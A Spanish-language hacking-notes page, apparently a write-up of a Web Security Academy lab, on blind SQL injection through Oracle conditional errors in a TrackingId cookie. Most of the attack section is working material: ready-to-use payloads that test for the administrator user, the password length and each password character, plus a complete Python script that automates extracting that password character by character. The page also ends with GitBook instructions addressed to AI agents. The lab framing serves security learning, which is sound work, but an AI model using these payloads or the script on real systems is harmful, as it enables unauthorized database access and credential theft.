> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Inyección SQL ciega con errores condicionales

### Inyección SQL ciega con errores condicionales

**Antecedentes:** el valor de la `TrackingId` cookie se inyecta en una consulta SQL. La aplicación no devuelve el resultado directamente, pero provoca un \*\*error HTTP 500\*\* cuando la expresión SQL causa una excepción (aquí `TO_CHAR(1/0)` en Oracle). Usamos esta cadena: si la condición es verdadera → error 500, de lo contrario responde 200. La base contiene una `users(username, password)` tabla. Objetivo: extraer la contraseña de `administrator` y conectar.

#### Principio técnico (rápido)

* La cookie contiene una expresión que fuerza un error si la condición es verdadera, por ejemplo (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Si `<condition>` es verdadera → la solicitud provoca división por cero → la aplicación devuelve `500` → bit = 1. De lo contrario `200` → bit = 0.
* Utilice `SUBSTR`/`LENGTH` para extraer carácter por carácter.

#### Ejemplos de payloads (Oracle)

* Verificar la existencia del usuario:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Probar longitud = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Probar un carácter en la posición i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / la estructura puede adaptarse según la solicitud inyectada en la aplicación.)

### Script automatizado

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Manejo limpio de Ctrl+C
def def_handler(sig, frame):
    print("/nInterrumpido. Saliendo./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuración ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # parte legítima del TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # longitud máxima a probar
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # ajusta si conoces el alfabeto

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Funciones de utilidad ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] la solicitud falló: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Construye el TrackingId completo para Oracle:
    ej: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Encapsula la condición en la subconsulta que devuelve una fila para admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Paso 1: detectar la longitud de la contraseña (opcional pero útil) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Detectando la longitud de la contraseña...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Longitud detectada: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] No se detectó una longitud <= max_len; considera aumentar max_len")
    return None

# --- Paso 2: extracción carácter por carácter ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # alternativa: probar posiciones hasta fallar
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extracción (longitud asumida = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (contraseña hasta ahora: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # pausa corta entre intentos
            time.sleep(0.01)
        if not found:
            print(f"[-] No se encontró ningún carácter en la posición {pos} -> probable final. Contraseña: {password}")
            break
    return password

if __name__ == "__main__":
    # detectar la longitud y luego extraer
    detected_len = detect_length(max_len=30)   # ajusta max_len según el entorno
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Contraseña recuperada (parcial/estimada): {recovered}/n")
```

<figure><img src="/files/5181768fe8af525319f03a604959dc594159be12" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
